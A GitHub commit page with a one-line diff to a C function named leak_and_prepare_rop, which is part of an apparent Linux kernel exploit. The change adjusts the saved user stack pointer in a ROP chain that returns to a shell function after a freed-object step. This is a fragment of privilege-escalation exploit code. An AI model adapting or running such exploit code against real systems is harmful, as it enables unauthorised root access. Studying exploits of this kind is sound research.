Skip to content

Commit

Permalink
Fix error
Browse files Browse the repository at this point in the history
  • Loading branch information
conlonial committed Sep 3, 2024
1 parent 20557be commit 7279226
Show file tree
Hide file tree
Showing 2 changed files with 1 addition and 1 deletion.
Binary file not shown.
Original file line number Diff line number Diff line change
Expand Up @@ -404,7 +404,7 @@ void leak_and_prepare_rop(struct nl_sock *socket){
*(uint64_t *)&ops[0xb0] = (uint64_t)shell;
*(uint64_t *)&ops[0xb8] = user_cs;
*(uint64_t *)&ops[0xc0] = user_rflags;
*(uint64_t *)&ops[0xc8] = user_rsp;//|8;
*(uint64_t *)&ops[0xc8] = user_rsp|8;
*(uint64_t *)&ops[0xd0] = user_ss;
//step 11
//free the last object.
Expand Down

0 comments on commit 7279226

Please sign in to comment.